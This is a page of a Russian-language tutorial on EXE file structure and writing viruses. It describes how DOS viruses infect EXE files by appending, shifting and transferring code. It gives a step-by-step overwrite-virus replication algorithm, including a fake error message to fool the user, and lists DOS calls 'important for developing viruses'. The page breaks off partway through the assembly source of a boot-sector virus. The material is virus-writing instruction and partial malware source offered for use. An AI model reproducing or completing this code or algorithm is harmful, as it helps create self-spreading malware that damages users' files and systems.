Смекни!
smekni.com

Семантический анализ структуры EXE файла и дисассемблер (с примерами и исходниками), вирусология (стр. 9 из 12)

Вирусы этого вида самые незаметные: их код записывается в инфицируемую программу, что существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения ЕХЕ-вирусов в ЕХЕ-файл.

Способы заражения ЕХЕ-файлов

Самый распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается тело вируса, а заголовок корректируется (с сохранением оригинального) так, чтобы при запуске инфицированного файла
управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания в коде перехода в начало вируса корректируется собственно
адрес точки запуска программы. После окончания работы вирус берет из
сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес.

Второй способ таков - внедрение вируса в начало файла со сдвигом кода программы. Механизм заражения такой: тело инфицируемой программы
считывается в память, на ее место записывается вирусный код, а после
него - код инфицируемой программы. Таким образом, код программы
как бы "сдвигается" в файле на длину кода вируса. Отсюда и название
способа - "способ сдвига". При запуске инфицированного файла вирус
заражает еще один или несколько файлов. После этого он считывает
в память код программы, записывает его в специально созданный на
диске временный файл с расширением исполняемого файла (СОМ или
ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу, временный файл удаляется. Если при создании вируса не применялось дополнительных приемов защиты, то вылечить инфицированный
файл очень просто - достаточно удалить код вируса в начале файла,
и программа снова будет работоспособной. Недостаток этого метода
в том, что приходится считывать в память весь код инфицируемой про-
граммы (а ведь бывают экземпляры размером больше 1Мбайт).

Следующий способ заражения файлов - метод переноса который является самым совершенным из всех ранее перечисленных. Вирус
размножается следующим образом: при запуске инфицированной программы тело вируса из нее считывается в память. Затем ведется поиск
неинфицированной программы. В память считывается ее начало,
по длине равное телу вируса. На это место записывается тело вируса.
Начало программы из памяти дописывается в конец файла. Отсюда название метода - "метод переноса". После того, как вирус инфицировал
один или несколько файлов, он приступает к исполнению программы,
из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конце файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования.

Рассмотрим алгоритм распространения Вируса.

Overwrite-вирус:

1. Открыть файл, из которого вирус получил управление.

2. Считать в буфер код вируса.

3. Закрыть файл.

4. Искать по маске подходящий для заражения файл.

5. Если файлов больше не найдено, перейти к пункту 11.

6. Открыть найденный файл.

7. Проверить, не заражен ли найденный файл этим вирусом.

8. Если файл заражен, перейти к пункту 10.

9. Записать в начало файла код вируса.

10. Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).

11. Выдать на экран какое-либо сообщение об ошибке, например
"Abnormal program termination" или "Not enough memory", - как бы, пусть
пользователь не слишком удивляется тому, что программа не запустилась.

12. Завершить программу.

В большинстве случаев для написания вируса широко используются функции DOS-а. Их достаточно много всех не будем рассматривать, приведу пример только одного из них.

DOS, функция 21h
Считать произвольную запись файла

Вход:

AH-21h
DS:DX - адрес открытого FCB (Таблица Б-2)

Выход:

AL=OOh, если чтение было успешным и DTA заполнена данными
AL°01h, если достигнут конец файла (EOF) и чтения не было
AL=02h, если произошел выход за сегмент (чтения нет)
AL°03h, если встречен EOF и усеченная запись дополнена нулями

Описание.

Данная функция читает из файла с текущей позиции как с указанной в полях FCB "Запись с текущей позиции" и "Номер записи при непосредственном доступе к файлу".

Другие функции:

DOS, функция OOh
Завершить программу

DOS, функция 01h
Считать со стандартного устройства ввода

DOS, функция 02h
Записать в стандартное устройство вывода

DOS, функция 03h

Считать символа со стандартного вспомогательного устройства

DOS, функция 04h
Записать символ в стандартное вспомогательное устройство

DOS, функция 05h
Вывести на принтер

DOS, функция 06h
Консольный ввод-вывод

DOS, функция 09h
Запись строки на стандартный вывод

DOS, функция OAh
Ввод строки в буфер

DOS, функция ODh
Сброс диска

DOS, функция OEh
Установить текущий диск DOS

DOS, функция 13h
Удалить файл через FCB

DOS, функция 15h
Последовательная запись в файл через FCB

DOS, функция 17h
Переименовать файл через FCB

DOS, функция 22h
Писать произвольную запись файла

DOS, функция 26h
Создать новый PSP

DOS, функция 27h
Читать произвольный блок файла

DOS, функция 28h
Писать произвольный блок файла

DOS, функция 31h
Завершиться и остаться резидентным

DOS, функция 3Ah
Удалить оглавление

DOS, функция 41h
Удалить файл

DOS, функция 43h
Установить/опросить атрибуты файла

DOS, функция 44h
Управление устройством ввода/вывода

DOS, функция 4Bh
Выполнить или загрузить программу

DOS, функция 4Ch
Завершить программу

DOS, функция 57h
Установить/опросить дату/время файла

DOS, функция 5Ah
Создать уникальный временный файл

DOS, функция 68h
Завершить файл.

Список наиболее часто используемых функций DOS.(ассемблер пример)

[AK] Вот список функций, которые важно помнить при разработке вирусов:

Установить адрес DTA.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 1Ah

ds:dx = адрес

выход:

нет

Получить адрес DTA.

~~~~~~~~~~~~~~~~~~~

вход:

ah = 2Fh

выход:

es:bx = текущий адрес

Create - Создать файл.

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Ch

cx = атрибуты файла (таб 1)

ds:dx = путь и имя файла в формате asciz

выход:

if CF=0 then

ax = дескриптор файла

else

ax = код ошибки (3,4,5) (таб 2)

Open - Открыть существующий файл

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Dh

al = режим доступа (таб 2)

cx = атрибуты

ds:dx = имя

выход:

if CF=0 then

ax = дескриптор файла

else

ax = код ошибки (1,2,3,4,5,0C)

Close - Закрыть файл

~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Eh

bx = дескриптор

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (6)

Read - Чтение из файла

~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 3Fh

bx = дескриптор

cx = число байт

ds:dx = буфер для чтения

выход:

if CF=0 then

ax = число прочитанных байт

Это значение может быть меньше CX.

Например потому, что превысили длину файла.

else

ax = код ошибки (5,6)

Write - Записать в файл

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 40h

bx = дескриптор

cx = число байт

ds:dx = данные для записи

выход:

if CF=0 then

ax = число записанных байт

else

ax = код ошибки (5,6)

Unlink - Удалить файл

~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 41h

cx = атрибуты

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (2,3,5)

LSeek - Установить указатель в файле

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 42h

al = точка отсчета указателя:

0 - от начала файла

1 - от текущего положения

2 - от конца

bx = дескриптор

cx:dx = смещение (cx=старшие 16 бит, dx=младшие)

выход:

if CF=0 then

dx:ax = новое положение указателя относительно начала

else

ax = код ошибки (1,6)

Получить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax = 4300h

ds:dx = имя

выход:

if CF=0 then

cx = атрибуты

else

ax = код ошибки (1,2,3,5)

Chmod - Установить атрибуты файла

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ax = 4301h

cx = новые атрибуты

ds:dx = имя

выход:

if CF=0 then

ax =

else

ax = код ошибки (1,2,3,5)

Выделить блок памяти

~~~~~~~~~~~~~~~~~~~~

вход:

ah = 48h

bx = размер блока в параграфах

выход:

if CF=0 then

ax = сегмент блока

else

ax = код ошибки (7,8)

bx = размер наибольшего доступного блока

Освободить память

~~~~~~~~~~~~~~~~~

вход:

ah = 49h

es = сегмент блока

выход:

if CF=0 then

ax =

else

ax = код ошибки (7,9)

Изменить размер блока памяти

~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 4Ah

bx = новый размер

es = сегмент

выход:

if CF=0 then

ax =

else

ax = код ошибки (7,8,9)

bx = размер наибольшего доступного блока

Exec - загрузить или выполнить программу.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

вход:

ah = 4Bh

al = тип загрузки:

0 - загрузить и выполнить

1 - загрузить и не выполнять

3 - загрузить оверлей

4 - загрузить и выполнить в фоновом режиме (dos 4.0)

es:bx = блок параметров (таб 3)

ds:dx = имя программы

выход:

if CF=0 then

bx,dx разрушены

else

ax = код ошибки (1,2,5,8,0A,0B)

Пример элементарного BOOT-вируса:

.286

.model tiny

.code

org 00h

start: jmp install

;jmp fkс

table: ; А вот тут будет таблица диска

org 4ch ; много места ей, но...

fkс: nop ;

xor di,di ; обнулим их

mov ds,di ; DS=0

cli ;

mov ss,di ; SS=0

mov si,7c00h ; SI - адрес в памяти, там мы

; начинаемся.

mov bx,si ; запомним это... еще пригодится

mov sp,si

sti

dec word ptr ds:[0413h] ; стока памяти дос

mov ax,ds:[0413h] ; в АХ размер дос-памяти в килобайтах

mov cl,06 ; чтобы получить сегмент надо число

shl ax,cl ; килобайт умножить на 40h